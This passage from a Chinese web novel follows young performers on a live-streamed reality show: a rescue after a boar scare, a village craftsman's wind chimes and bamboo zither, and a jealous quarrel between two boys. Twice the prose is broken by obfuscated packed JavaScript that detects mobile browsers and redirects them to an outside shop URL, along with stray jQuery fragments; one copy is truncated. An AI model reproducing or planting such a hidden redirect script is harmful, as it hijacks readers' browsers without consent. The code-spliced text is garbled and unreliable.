邱以星笑不出来了,整个人僵住,有些慌张地问:“小木鱼?” “别跟我说话。”孔栩吸了吸鼻子,仓促抬手把眼泪擦干净,“快穿。” 邱以星默默地把孔栩的鞋穿上,他们鞋码差不多大,穿着很合适。 他稍微矮下身,查看孔栩的表情,孔栩抿着嘴,睫毛湿漉漉的,眼睛和鼻尖泛红,此刻偏过眼,就是不看他。 邱以星两手捧起他的脸,大拇指轻轻蹭了一下他眼角的红痕:“小木鱼,谢谢你这么关心我,我特别感动。” 孔栩置若罔闻,仍旧不瞅他一眼。 “真不理我了?”邱以星微微用力挤压他的脸,问道。 半晌后,孔栩动了动嘴唇:“没有。” 邱以星揉乱孔栩的头发,笑着说:“我就知道你舍不得不理我。” 孔栩瞪他:“你可不要太得意,没有下回了!” 邱以星把东西装回背包,背在自己胸前,然后拉住孔栩一只手搭在自己肩膀上,孔栩没来得及反应,自己就被邱以星稳稳当当地背了起来,邱以星托着他的两条大腿,说:“你这样走不了,我背你走。” “我……” “又不是没背过,”邱以星说,“不能耽误下去了,再耽误下去野猪万一又回来了怎么办?我们得早点跟工作人员汇合。” 孔栩便搂住邱以星的脖子,心安理得地趴在邱以星的背上,邱以星的背变得宽厚起来,让他觉得很有安全感。 他想,邱以星是个能够让人依靠的大人了,一缕说不清道不明的情愫在他心中蔓延开来,他把脸埋在邱以星后背,小心翼翼地闻了一下邱以星身上的味道,有一点汗味,不太明显,他竟然觉得这味道挺好闻的。 走了片刻,他们终于碰到了节目组的人,摄影师的镜头对准邱以星和邱以星背上的孔栩,邵元见到人后,眼泪都要下来了,要是再找不到人,项汝怡一定会把他大卸八块去喂鱼。 本着不干预、无剧本的原则,邵元没有喊停,反而一个箭步冲到他们面前,看见他们没出什么事,便陪他们一起回营地,路上问他们遭遇了什么情况,两人如实作答,孔栩要从邱以星身上下来,邱以星不同意,便这样背了一路。 经此一遭,观看直播的在线人数已经超过七十万人,邵元还不知道,他们这档直播综艺如一匹黑马在众多大制作面前脱颖而出,算是彻底爆了。 回到小屋,两人立即洗了个澡,清清爽爽地坐在屋里吹电扇。 陆笑蓉用巧克力和酸奶做了五碗冰淇淋放冰箱里冻着,他们回来的时间刚刚好,她把冰淇淋端上桌,喊其他人过去吃。 孔栩用勺舀了口冰淇淋,吃了一口,已然忘记所有的不愉快,他对陆笑蓉说:“蓉蓉,你就是个做饭天才。” 陆笑蓉毫不谦虚地翘起身后不存在的大尾巴:“那是当然,不过我明天得去录音,做饭的事就交给邱以星了。” 邱以星点点头:“嗯。” 陆笑蓉看了眼孔栩,低声在他耳边询问:“你们路上没出什么事吧?” 孔栩摆手:“没事,不过你记得不要离木屋太远,这附近到处都是野猪窝。” 陆笑蓉打了个寒战,咬牙切齿地说:“真是多亏节目组选的好地方。” 晚上七八点钟,山上来了一位不速之客。 他们几人听见动静,一齐跑出来观望,谁知竟然是多日不见的项汝怡。 陆笑蓉立即撒开腿冲了出来,一把搂住项汝怡的腰,鬼哭狼嚎道:“项姐,你怎么才来啊,我们想死你了!” 项汝怡拍拍她后背:“是想我,还是想我给你们做主?” 陈颂阴阳怪气地说:“我还以为你忙得把我们这几个在哪儿都忘得一干二净了,是邵导请你过来的?” 项汝怡:“没人请,我自己来的。” 项汝怡本打算让他们在这里吃一段时间苦,好好体验一把山寨版变形记的滋味,没想到这几位还 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镇子就在山脚,住着一些人家,青石板四通八达,宛若蛛网延伸开去。 项汝怡的车刚停稳,他们就跟脱笼而出的小鸟,眨眼间就钻进了各个巷道。 青石板两边的建筑肉眼可见的斑驳衰败,都是一些老屋,苍翠树木掩盖着镇子的贫瘠,看上去这镇子原始而又老旧,街上的大多是一些行动不便的老人与小孩,也几乎没什么人做生意,他们一路走走停停,最后发现实在是没什么可逛的。 孔栩想,怪不得张军要把小卖部给关了,别说是小卖部了,就算是摆个早点摊,估计也不会有什么人光顾。 他们大多能自给自足,青壮年都逃到了到外地,只剩下一批老弱病残幼守着这个古老的、几乎与世隔绝的镇子。 他们几人走累了,直接蹲坐在路边休息。 “项姐和邵导在说什么你们知道吗?”陆笑蓉特八卦地问。 “这还用想,”陈颂说,“肯定是聊我们下个任务。” 夏桃杉点点头:“嗯,我们收音的任务还剩几个就结尾了,是时候给我们发第二张任务卡了。” “有道理,”孔栩赞同,“谁从邵导那儿套出来什么情报没有?” “他那么老奸巨猾一人,怎么会给我们透露情报?”陆笑蓉搭着孔栩肩膀,对他说,“小木鱼,你去求求项姐,说不定她会偷偷跟你说几句。” 孔栩纳闷:“为什么要我?” 陆笑蓉贱嗖嗖地说:“你看着这么乖,跟她撒撒娇,万一项姐母爱泛滥就大发慈悲让我们做点轻松的活呢?” 孔栩打了个哆嗦:“你饶了我吧!” 邱以星在边上一声不吭,他看着陆笑蓉搭在孔栩肩膀上的胳膊,怎么看怎么碍眼。 他最近发现,陆笑蓉这样风风火火跟谁都能聊得上的性格和孔栩真是一拍即合,孔栩不是很爱主动说话的类型,陆笑蓉则非常擅长给人递话题,她跟孔栩讲起话来简直没完没了,孔栩笑点还低,两个人经常说着说着就跟傻子似的嘿嘿笑成一团。 邱以星默然不语的同时,那个白色的影子在他身后开口了:“邱以星,陆笑蓉很碍眼对不对?” 没错,陆笑蓉的确很碍眼,邱以星想,可他嘴上是不可能承认的。 白色的影子又说:“你看,你连这点都不敢承认,真是个可怜虫。” 邱以星的眼神随即一暗。 影子说:“邱以星,你总是这样,喜欢的不敢争取,讨厌的不敢直说,你活着累不累啊。” 邱以星低声说:“关你屁事。” “邱以星,你在说什么?”孔栩抬头看他,可很快,视线越过他肩头,飘向了更高的地方,他抬起手,指着某一处地方,问道,“快,你们看,那是什么?” 68. 第 68 章 古老的建筑之间拉着一张很高的网,网上坠着许多铜制的铃铛,孔栩惊诧地跑过去,仰着头看。 风拂过高高低低的铃铛,竟然弹奏出了一支相当有节奏与韵律的歌谣,他们从未听过此种声音,顿时讶异得说不出话来。 孔栩最先回过神,从随身携带的背包里掏出收音话筒,尽职尽责地说:“正好收个音,这趟没算白来。” 风此时忽然静止,乐音停了下来,孔栩懊恼,但很快风又起,只不过换了个方向吹,迎面的风带着一丝雨后草木的清香,同时乐音也产生了变化,他们几个人也算是在徐如夜手底下磨练过一遭,耳朵都敏锐得很,顿时听出这是一支结构相当严谨而完整的曲子。 他们四人站在街头,听完这支还不够,硬是等到风歇住。 “太神奇了吧。”几人齐齐惊叹道,孔栩说:“风铃还能这么玩吗?” 邱以星:“它们内部构造应该比较复杂,跟一般的风铃不是同一种东西。” 陈颂觉得自己足够见多识广,却也不知道这些风铃的来路,他感叹:“这是用来干什么的?放在这地方有人会听吗?简直是暴殄天物啊。” “这是给阿爸阿妈祈福的铃铛!”一个脆生生的声音响起,“风会把我们的思念带给他们!” 他们扭头,看见了一个约莫八九岁的小男孩。 他蹲在地上,一边拍着一个破旧的漏了一半气的皮球,一边朝他们憨憨地笑了笑。 “祈福?小朋友,你怎么知道的?”陆笑蓉立即上前去逗孩子,可惜搜了浑身的口袋没搜到一粒糖,有些不好意思地摸摸男孩的头。 男孩见到漂亮姐姐,脸上一红,嘴里嘀咕说:“就是知道,是我爷爷做的铃铛,我家里还有呢。” 他们几个人站在原地你看看我,我看看你,距离项汝怡提出回去的时间还早得很,于是孔栩蹲下身问小男孩:“那你能不能带我们去你家里看看?” 小男孩有些害羞地点点头,抱着球带他们往家的方向走,他走着走着便问孔栩:“大哥哥,后面那几个跟着你们的人是做什么的?” 孔栩回答:“他们是摄影师,在拍我们。” “拍你们?”小男孩好奇地问。 “没错,你玩手机吗?算了,你知道电视吧,”陆笑蓉换了个通俗易懂的解释,“很多人可以在电视上看到我们。” “真的?!”小男孩的眼睛倏然一亮,“那我是不是也被拍进去了?” “没拍到你,”陆笑蓉说,“就只拍我们。” “好吧。”小男孩顿时垂下头,看上去比他的皮球还要丧气。 邱以星看出小孩的意图,问道:“你想被拍进去吗?” “嗯,”小男孩低落地说,“我想让我的爸爸妈妈也在电视上看见我。” “那拍一个吧,”陆笑蓉忽然说,她转身朝距离他们最近的一位摄影师招招手,说了孩子的想法,于是摄影师给了小男孩一个近景。 小男孩稚嫩的声音兴高采烈地说:“爸爸妈妈,我想你们啦!你们什么时候回来呀!我马上就要上二年级了,期末拿了一张进步之星的奖状,我是不是很厉害。” 说完他害羞地吐了吐舌头,飞快地跑回家,路上差点被绊一跤。 “小满,你这个小泥猴,又跑到哪去了,”门内传来一道苍老的责备声,“还不快进来,炉子上的水都烧干了!” 这个叫“小满”的男孩子面色红扑扑的,把皮球往地上一丢,高声对爷爷说:“爷爷,有人找你!” “谁找我?”爷爷面露不解,看到门外站了一圈可疑人物,更加困惑了。 孔栩他们走上前,说明来意,小满爷爷一听,热情洋溢地请他们进了屋,他佝偻着背,可脚步利索,给他们拿了几只铜风铃让他们玩。 没料到他们几个对平平无奇的铜风铃这么感兴趣,小满爷爷便给他们介绍起这个风铃的特别之处,平日里他找不到人说话,总算来了几个年轻人愿意听他唠叨,他讲得口干舌燥,还把他们带进自己专门做手艺活的屋子。 一进屋子,他们仿佛进入一个崭新的天地。 除了那个会发出奇特乐音的铃铛,里面还有无数珍奇宝藏,孔栩像个钻进了钱眼里的守财奴,挨个欣赏着小满爷爷挂在墙上的各种各样稀奇古怪的的物件。 小满爷爷说这是他的爱好,他喜欢做手工活,家里的板凳桌子都是他一手打的,除却这些,他还喜欢用山上的竹子雕竹牌,编各种灯具、扇子还有包等各种生活用品,东西看上去精致温润,有些年头了,可没有一丝灰尘。 除此外,墙上还挂着一个青色竹筒,成年人上臂大小,竹筒三分之一的表面被挖了去,首尾两端连接着几根弦,其中一头蒙着一层皮革材质,光滑有弹性。 孔栩好奇地问:“这是什么?” 他们一齐凑过来,陆笑蓉说:“我看像筷子筒。” 陈颂摩挲下巴:“不像,像二胡。” 邱以星确实觉得这玩意的造型像某种弦乐器,可他并不能确定到底是哪种乐器,只见小满爷爷微微一笑:“这是经过我改良的‘竹弦’,有五根弦,这五根弦呢,合着宫商角徵羽的调子,早年间我们这边家家户户都会弹……”说着他的神色又落寞起来,“不过再过些年,就没人会弹这个了。” 孔栩问:“爷爷,我可以弹一弹吗?” 小满爷爷很乐意地给他把竹弦取下来,孔栩手指轻轻一拨,大致知道了五根弦的音调,单手勾着弹出一支简单悦耳的童谣。 小满爷爷瞪大了眼睛,吃惊:“你怎么会?” “爷爷,您可不要小看他,他可是什么乐器都能露上一手的,”陆笑蓉撺掇说,“您想不想收他为徒,就不用担心这件乐器失传了。” 爷爷笑着摇摇头:“一个小东西,哪儿能论得到收徒不收徒的,更何况他弹得那么好,我也没什么可教的。” 这时小满在外面喊:“爷爷,药熬好了,过来喝药!” 爷爷便应了一声,跟他们打了个招呼,步履蹒跚地去喝药。 难怪空气中有股淡淡的中药味,他们问爷爷治什么病,爷爷叹了口气,捂着胸口咳了两声:“年纪大了,小毛病一大堆。可怜我的小满,天不亮就帮我去山上采草药。” 众人沉默不语,互相看了一眼,贫穷的镇子,留守的儿童,年迈的老人……他们想给这爷孙俩留点什么,可自己出门在外,手边也不富裕。 摄影师如影随形地跟拍,他们唯一能做的就是对着镜头狂夸一通爷爷的手艺,把爷爷逗得乐不可支,假牙都要笑掉了,临了非要留他们包括摄影师在他家吃饭,他们几人忙不迭推辞,生怕让爷爷累闪了腰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190811|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 项汝怡把他们送回了山上,下山的路上都是聒噪,回来却没一个人吭声,项汝怡心想,坏了,山上的日子这么没有指望的吗?把孩子们都整自闭了。 她刚刚跟邵元聊了很久,这档节目其实为他们几人量身定做的,想着暑期给他们增加点曝光度,顺便让他们感受感受自力更生的滋味,一开始并没有想着要一定搞出多少花样,获得多少关注度,哪成想无心插柳柳成荫,观看直播的人数每日成倍成倍的增长,官博关注人数短短几天已经超百万人。 陈闵觉得这个趋势很不错,项汝怡也如此认为,可又为他们几个感到担心,他们在深山老林尚不知情山外的世界,怕他们承担不了如此巨大的热度。 项汝怡在山上又陪着他们过了几天,邵元发布了第二个任务,让他们写一首歌,需要用上他们录的那些声音。 他们早有猜测,并没有显得兵荒马乱不知所措,可写歌是个需要灵感的活,不是说写就能写出来的,手边还什么都没有,陈颂刚想抱怨,一看摄像机,立即深呼一口气,把吐槽尽数憋回肚子里。 饶是如此,他这一言难尽的表情还是令人印象深刻,于是被人做成表情包,并配“死嘴憋住”四个大字,在网络上疯狂流传。 他们去工作人员那屋借了几副扑克牌,在屋子里打起牌来,反正没灵感,与其焦虑地等待灵感降临,不如好好地放松一把。 五个人玩斗地主玩得起劲,陆笑蓉率先抽中红桃三当明地主,选了张牌指定抽中的人当暗地主。其余四人分别暗戳戳地互相看了一眼,都想从对方眼中看出这人是否属于己方阵营。 陆笑蓉:“三个五带对四。” 夏桃杉豪迈地一挥手:“四个九,炸!” 陆笑蓉:“桃子你怎么上来就炸?日子不过了?” 陈颂笑:“过。” 孔栩想了想,也说:“过。” 邱以星:“过。” 陆笑蓉狞笑:“四个老K。” 夏桃杉犹豫要不要出最大的牌,再炸一通,思索再三决定:“过。” 陈颂:“五个老J。” 其余人都过,陈颂继续:“三个八带对三。” …… 一通下来,每个人手里就剩最后几张牌,暗地主还是不显山露水,孔栩在陈颂小心翼翼地落了三个七之后,往牌桌上放了四个Q再然后一个顺子,至此,他手里已经空空如也。 孔栩面带微笑:“不好意思,我们赢了。” 陆笑蓉欢呼,和孔栩重重一击掌:“耶,我们赢了!快来接受惩罚!” 惩罚是对着镜头跳舞,孔栩和陆笑蓉坐在一起捧着西瓜啃,一边看邱以星和陈颂痛苦地扭来扭去,而夏桃杉跟仙女一样仙气飘飘,把他俩衬得跟两团麻花似的。 孔栩和陆笑蓉没心没肺地大笑,笑得狂捶地板,这时邱以星忽然停了下来,问:“有那么好笑吗?” 好像他在真心实意地发问,两人沉浸在快乐的氛围里,没有察觉出他的异常。 随后邱以星顿了几秒钟,头也不回转身走开了。 “哦豁,”陆笑蓉的笑容僵在嘴边,她喃喃道,“生气了。” 孔栩坐直身体,同样有些无措,他看了眼摄像头,又看了看周围的人,还是追了上去,摄影师看热闹不嫌事大,也赶紧跟过去。 69. 第 69 章 邱以星没走远,没头没脑地暴走几十米,绕了小木屋半圈,往墙上一靠。 他解释不清自己突如其来的愤怒,后槽牙使劲咬了一口嘴里的软肉,尖锐的疼痛令他骤然回了几分神志。 他到底在干什么?当着那么多人的面。 “恭喜你啊邱以星,”白影子贴在他耳边轻声细语,“你扮演老好人,终于演厌倦了么?” “滚。”邱以星冷冷地吐出一个字,然后他立即抬头,看见孔栩在不远处一脸茫然地看着他。 邱以星下意识站直,想跟孔栩解释那个“滚”字不是冲他,可孔栩并不在意,关切地走上前问他:“怎么了?” 三个摄像头忠诚地跟在他们几步之外,邱以星不想说话了,于是摇摇头。 孔栩又说:“心情不好?我只是觉得好玩,不是在嘲笑你。” “我知道。”邱以星心里泛起苦涩的涟漪,“你回去吧,我想一个人呆着。” 过了好几秒,孔栩仿佛才接收到邱以星的信号,他木讷地点了下头,“哦”了一声。 在外人看来,邱以星是开不起玩笑,跟孔栩发生了矛盾,孔栩好心好意来找他,他竟然还不领情。 邱以星没有解释的心情,一个人孤零零地垂着脸坐在屋外,像是在跟谁闹脾气。 孔栩回到屋里,大家一脸困惑地问他邱以星怎么了,他只是摇摇头,有点落魄地回到卧室,回身把门带上了。 剩下三人面面相觑,不知哪一环出了问题,明明刚刚气氛那么好,怎么突然就急转直下降至冰点,实在是有些摸不着头脑。 陆笑蓉大致猜到一些,可她也不能百分百确定,只好先把猜测埋在了心底。 为了给他们留有一点隐私,睡觉的卧室里没装摄像头,除了午睡,白天一般情况是不允许回卧室的,可孔栩忘记了这条规则,他也想一个人好好静静。 他坐在床上想这段时间发生的事,思来想去,还是弄不懂邱以星为什么突然翻脸。 孔栩闷闷不乐,也不知道邱以星为什么不跟自己说。 晚饭是邱以星做的,邱以星又变成了之前的模样,大家便把这茬揭过,谁也不再提起。 可孔栩还是觉得他笑得有几分勉强,邱以星真心实意的笑容不应该是这样,他像是戴着一副精致的面具,在跟无法交心的人虚与委蛇。 饭后大家一起把碗洗了,洗完一看时间才七点多,屋外的天还透着一丝朦胧的橘粉,留恋这个人间似的,不肯暗下去。 几人坐在走廊上纳凉,陆笑蓉坐在夏桃杉身边,孔栩左边是陈颂,右边是邱以星,他的手搭在栏杆上,稍微动一下就能碰到邱以星的手背。 于是孔栩伸出小拇指,试探性地点了点邱以星。 邱以星偏过头,和他对上了视线,孔栩一愣,然后他提起嘴角露出一个微笑:“你心情好点了?” “嗯。”邱以星收回视线,不再看他。 孔栩搜肠刮肚想找话题跟他聊,于是他又问:“对第二个任务有什么想法没有?” 邱以星:“还没有。” 孔栩不擅长主动找话题,很快他就沉默了,这时陈颂忽然高声说:“快看,有一只萤火虫!” 天空中残留的橘粉色也渐渐消失,更深一层的黑笼罩四野,唯有一点绿色的荧光在黑暗中划出美妙的弧线。 “我去抓一只玩,”陆笑蓉说着就要翻出栏杆,身姿看上去异常矫健,“看我的。” 孔栩忙叫住她:“你小心点儿啊。” 陆笑蓉诧异:“有什么可小心的?又不会咬我。” 孔栩提醒她:“听说萤火虫钻进耳朵,耳朵会聋掉。” 陆笑蓉立即打了个寒战:“那还是算了吧,我就在这静静地欣赏一会儿。” 陈颂笑着说:“你从哪儿听来的民间传言?” 孔栩:“小时候我妈——” 说到这他忽然截住话头,生硬地转移话题:“道听途说的。我先去洗个澡。” 邱以星听到这话,才转过头看他,孔栩这次没有再看他,转身回到木屋里。 孔栩觉得有种说不上来的压抑,深深地呼吸几口空气,却没感到缓解丝毫。 他洗完澡出来,站在浴室门口,看见大家坐在屋子中间商量新歌的事。 陆笑蓉看了眼邱以星,又看了眼孔栩,没有主动招呼孔栩,反而低声提醒邱以星说:“他等着你叫他呢。” 陆笑蓉是好心,却被邱以星看出一种“我多了解他”的得意,邱以星沉沉地盯紧她,把陆笑蓉看得后背发凉,陆笑蓉觉得这样的邱以星简直有些可怕了,她不甘示弱地瞪回去:“就你眼睛大是吧?” 孔栩随便擦了下头发,走过来坐下,他坐在了夏桃杉和陆笑蓉中间的位置,没跟邱以星坐一起。 陈颂惊讶地微微直起上半身,两个女孩也抿了下嘴唇,这回明眼人都看出来这两人之间出问题了。 他们之间飞快交流了一下眼神,很遗憾,没得出解决方案。 对于新歌,他们商量出了大致方向,通过这些天的所见所闻,他们打算给这个镇子写首歌。 孔栩提出可以使用小满爷爷的竹弦,陆笑蓉深受启发,说还可以用小满的童声。 大家你一言我一语,一直到十点多才结束讨论。 陈颂和夏桃杉看着他们欲言又止,给陆笑蓉使了个眼色,便先行离开了。 孔栩起身回去睡觉,他余光瞥见陆笑蓉按了一下邱以星的手臂,把他留在了原地。 摄影师已经回另外一边休息了,屋子里只剩下几个固定机位的摄像头沉默不语地履行着职责。 孔栩有些纳闷陆笑蓉的举止,脚步便放慢一步。 陆笑蓉果断摘了领夹麦,关掉,放在一边,她实在是受不了了,压低声音直截了当地问邱以星:“邱以星,你搞什么?要吃醋能不能分清楚时间和场合?有事你们私下里说不行吗?非得在镜头前,这样很容易让人误会的你知不知道?项姐说不少人看直播,这个点说不定还有人在看……” 孔栩一句整话都没听明白,只听到了“吃醋”两个字。 他垂下脸,脚步匆匆地离开,不想听他们两人在说些什么。 过了好长时间,邱以星才回屋,陈颂还没回来,屋里就剩他们两人。 孔栩背着邱以星躺在床上,他肚子上盖着小毯子,露出修长匀称的两条小腿。 他一直睡中间,陈颂在左边,邱以星在他右边,可他此刻却贴着墙,像是在刻意躲着谁。 邱以星站在床边站了几秒钟,会意地睡在了另一边靠墙的位置。 孔栩的呼吸变得绵长而深沉,他睁着眼睛,满脑子都是陆笑蓉的那句“吃醋”。 邱以星吃醋? 他吃谁的醋? 难道白天他莫名其妙的举止是因为他吃醋? 孔栩的联想能力向来发达,上回班级聚餐,邱以星说他喜欢长头发的女生,例如闻旋那种的,他当时并没有太过放在心上,闻旋和他当同桌这么长时间,要是有火花早就滋啦冒烟了,不会等到他当众玩笑似的剖白心意。 再说,他们几乎每天都在一起,邱以星要是真和闻旋有什么,他不可能没有丝毫察觉。 孔栩继续深入思考,陆笑蓉长得很漂亮,性格豪爽,讲义气,关键是她有着邱以星喜欢的长发,她长发飘飘时不说话就像仙女下凡。 邱以星他……喜欢陆笑蓉? 孔栩那些难解的困惑在他得到这个结论时,一下子都有了答案。 他吃我的醋? 他觉得我跟陆笑蓉走得太近了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孔栩托着下巴,心想,陆笑蓉她会喜欢邱以星吗? 喜欢的吧,邱以星在网上人气高得要命,陆笑蓉还经常夸他长得帅。 孔栩就坐在那里,一动不动,久到陈颂和夏桃杉看月亮回来,见他孤身坐在沙发椅上,都被吓了一跳。 “都几点了,你怎么在这?”陈颂问,“邱以星呢?” 怎么谁都来问他邱以星?孔栩烦躁地摇摇头,不想说话。 他们各自回了卧室,这里又剩他一个人了,孔栩有了点困意,眨巴眨巴眼睛,不知道还要不要回去睡觉。 这时邱以星出来了。 他径直朝孔栩走过来,一句话也不说地站在他面前。 孔栩见他过来,把脸挪到另一侧,也不问他为什么出来。 两人对峙似的过了好几分钟,终于,邱以星蹲下身,碰了一下孔栩的手背,低声说:“好了,回去睡觉了。” “不去。”孔栩还是梗着脖子,不想理他。 “你自己回去,”邱以星说,“还是我抱你回去,你选一个。” “你——” “算了,我抱你。”邱以星起身,直接将孔栩从沙发椅里扛了起来,孔栩在瞬间腾空,两手使劲捶打邱以星的后背:“邱以星!你放我下来!” 邱以星直接把他扛回卧室,陈颂睡得迷迷糊糊,被他俩的动静给吵醒,很是自觉地靠墙,给他们挪了个位置,再度昏睡过去。 孔栩气得整张脸涨得通红,邱以星把他按回床上,又给他盖上被子,关了灯后,一只手直接将孔栩拉到自己怀里,很用力地箍紧,孔栩被他勒得几乎喘不上气,邱以星的气息贴在他耳边:“就这样睡,再闹我们就都别睡了。” “邱以星,我想咬死你!”孔栩极其小声地一个字一个字地从嘴里蹦出来。 “随便你。” 孔栩张口就咬在他的颈侧,他像只小野兽,泄愤似的不松口,邱以星只是稍稍皱了下眉,任由他咬。 70. 第 70 章 两人一直僵持不下,到凌晨才睡。 邱以星收获了一枚青紫色的牙印,醒来时孔栩早就不在他怀里了,除了脖子有点痛,他觉得这一觉竟然睡得挺踏实。 他自动屏蔽白色影子对他说的“受虐狂被虐上瘾”的话,起身去找孔栩,得知一早孔栩就和陆笑蓉一同下了山。 “他们干什么去了?”邱以星问。 大家闻言看向邱以星,自然看到了他脖子上那道触目惊心的牙印,众人心知肚明,能把他咬成这样的,当属孔栩的杰作。 夏桃杉淡定地开口:“去找小满爷爷借竹弦了。” 邱以星:“有没有说什么时候回来?” 陈颂过来拍拍邱以星肩膀:“你别操心这个了,昨天半夜起了大风,把木屋前面那排栅栏给吹倒了,邵导让咱们仨上午给修一修。” 他们三个拿着工具箱去修倒掉的栅栏,分工先用铁丝固定,再用老虎钳拧紧,这样干了一上午体力活。 中午时分,孔栩和陆笑蓉骑着车,有说有笑地回了木屋。 孔栩身后背了个长条形状的包,把车停在小木屋门口,余光瞥见邱以星把老虎钳往地上一扔,朝他们走过来。 “蓉蓉,”孔栩迫不及待地对陆笑蓉说,“我渴死了,你屋里有什么喝的没有?” “还有两瓶AD钙奶,”陆笑蓉说,“咱俩一人一瓶。” 孔栩回屋放下竹弦,对着电扇狂吹,他热得脸通红,汗把发根浸湿,热气腾腾像是刚蒸完桑拿。 他一口气把AD钙奶干光,五脏六腑顿时熨帖了。 邱以星无所事事地在他身边乱转,孔栩瞥了眼陆笑蓉,把身子一扭,假装在欣赏墙壁上的挂画。 “小木鱼。”邱以星叫孔栩一声,见孔栩还是不理他,于是直接拖了把椅子,拎到孔栩面前坐下。 孔栩刚要站起身,邱以星横出一只腿,挡住孔栩的去路。 陆笑蓉见状不对,看热闹的心情顿时烟消云散,连忙贴着墙缝溜走。 孔栩气急败坏地坐回原位,使劲用脚踢了一下邱以星的腿:“干什么?” 邱以星声音轻轻的,有点哄人的意味了:“你到底在气什么?你说出来,我好知道怎么改。” 孔栩心说你怎么改,喜欢什么人还能改吗? 他一言不发,两人都沉默许久,还是邱以星再度打破沉默,他侧过自己的脖子,对他说:“你看你把我咬的,我到现在还疼呢。” 孔栩一听,终于肯拿正眼看他,同时也注意到他脖子上那个明显的可怕印记,还泛着点血丝,他登时有些后怕,心想要是咬到他大动脉怎么办。 “去擦点药。”孔栩又把目光挪开了。 “我看不见怎么擦?”邱以星没皮没脸地问。 “……我来,去拿医药箱。” 邱以星老老实实去拿医药箱,老老实实坐在椅子上让孔栩给他上药,完全没了昨晚那股不管不顾的劲头。 孔栩弯腰垂着眼睛,小心翼翼地用棉签在他脖子上涂了一层又一层,邱以星看见他白皙的胳膊在自己眼前晃来晃去,等孔栩涂好药,他忽然握住孔栩的小臂,对他笑着说:“谢谢。” “拉倒吧。”孔栩嘀咕。 邱以星还是没松手,孔栩不明所以地看着他:“你还想干什么?” 虽然跟认识邱以星这么长时间,可如此近距离看他的脸,竟然还没有产生免疫力。 孔栩微微不自然地往后退了半步,邱以星感受到他的抗拒,直接将他往前一拽,拦腰抱住。 “邱以星!”孔栩这回是真想扇他了,面红耳赤地揪住他的头发往后扯,声音从齿缝里挤出来,“松开!” “你不跟我冷战我就松开。”邱以星丝毫没感觉疼似的,将脸埋在孔栩柔软的腹部。 “谁先冷战的?你讲不讲道理,明明是你先不跟我讲话,”孔栩完全不敢转身看屋子里的摄像头,“我如你所愿而已。” “你总跟陆笑蓉——” 孔栩突然间爆发出前所未有的力量,两手死死推着邱以星的肩膀,将他推开。 他不想听邱以星说什么陆笑蓉这个陆笑蓉那个的,烦躁值已经升至顶点,他说:“我就是要跟蓉蓉在一块玩,我乐意,你管得着吗?” 邱以星的脸色刷一下就变了:“为什么?你不要这样,我是在跟你好好说话。” 孔栩气得气息都乱了,他口不择言地说:“还能有什么?我喜欢跟她一块玩,你当自己是我的谁啊?” 邱以星当即就闭上了嘴,他的心被孔栩刀片似的话搅得血肉淋漓。 “真精彩,”一直在边上的白色影子目睹全程,拍了拍手掌,笑嘻嘻地对他说,“看来他真的一点儿也不喜欢你呢。” 邱以星失去了跟他争执的力气,有那么一刻,他好希望有个地方能够给他躲一躲。 而后他二话不说,走出木屋,跨上一辆自行车,疾风一般冲了出去。 “这是怎么了到底,”陈颂嘴里叼着一根狗尾巴草,不解地看向邱以星出走的方向,“他要去哪儿?有力气没地方使是吗?” 孔栩听到动静,忍不住走出来看,邱以星的影子也见不到了。 邱以星午饭没吃就跑了,大家等他等了半个小时,最后给他留了饭菜。 孔栩心不在焉地吃完,搬来一条凳子,巴巴地坐在木屋门口等。 邵元让人跟着邱以星过去了,应该没什么大问题,可他一直忐忑不安,控制不了地替他担心。 陆笑蓉来到门口,看了一眼孔栩,无奈地叹了口气,跟着夏桃杉回去休息了。 作为旁观者,她对于孔栩和邱以星这两人之间的关系走向越发不解起来,昨晚她对邱以星说别乱吃飞醋,孔栩不是不讲道理的人,好好跟他沟通就行了。 结果事情并没有沿着她的预料发展,她实在搞不懂,现在只想离这对莫名其妙的怨侣远一点。 一直到晚饭邱以星还没回来,孔栩望眼欲穿,天似乎黑得比平时还早,他心里堵得慌。 他问邵元邱以星怎么还不回来,邵元支支吾吾,最后还是如实告诉了孔栩:“他说不录了,要回家,一路骑到山脚,我们的人正拦着,这到底怎么回事啊?项汝怡前脚刚走,后来就给我来这出?我真是愁死了。” 孔栩:“带我去找他。” 邵元抓耳挠腮:“你不会是想跟他一道走吧?” 孔栩没有理会他的玩笑,轻声说:“不会的。” 邵元开着山地车,载着孔栩下山,陈颂听了也要去,被陆笑蓉制止:“有你什么事,净爱凑热闹。” 夏桃杉也不赞同地看他一眼,陈颂这才作罢,让他们路上小心。 孔栩坐在车上,脑子里一团乱麻,不知道见了邱以星要说什么。 除了高一刚开学那段时间,他后来再也没跟邱以星争吵过,吵架是一种损耗,冷战亦是,他和何斯清就是在这样的相处模式里变得分崩离析,他最不愿意跟邱以星吵架,他希望他们永远都像在琴房里那样亲密无间。 没有任何人可以插足。 终于到了地方,他看见邱以星蹲在自行车边上,周围的工作人员一直在劝他,让他别冲动,邱以星一句话不说,铁了心的要走。 山脚下没有路灯,一片漆黑,就几个工作人员拿手电筒照着,邱以星的影子显得孤零零的。 邱以星听见有人喊了一句什么,随即他抬头,看见了孔栩。 孔栩穿着一件衬衫,踩着拖鞋,慢吞吞地朝他走过来。 他一眨不眨地盯着孔栩,说出了今天下午的第一句话:“你来接我的?” 孔栩的喉咙发紧,朝他伸出一只手:“走吧。” 邱以星看着他,没有动,孔栩又说:“要抱吗?” 听到这句,邱以星的神色才略微松动,孔栩接在后面说:“我抱不动,可以让邵导尝试一下。” 邵元听到,向他们撸起袖子,展示自己硬邦邦的肌肉,豪气云天地说:“你不早说,我准备好了!” 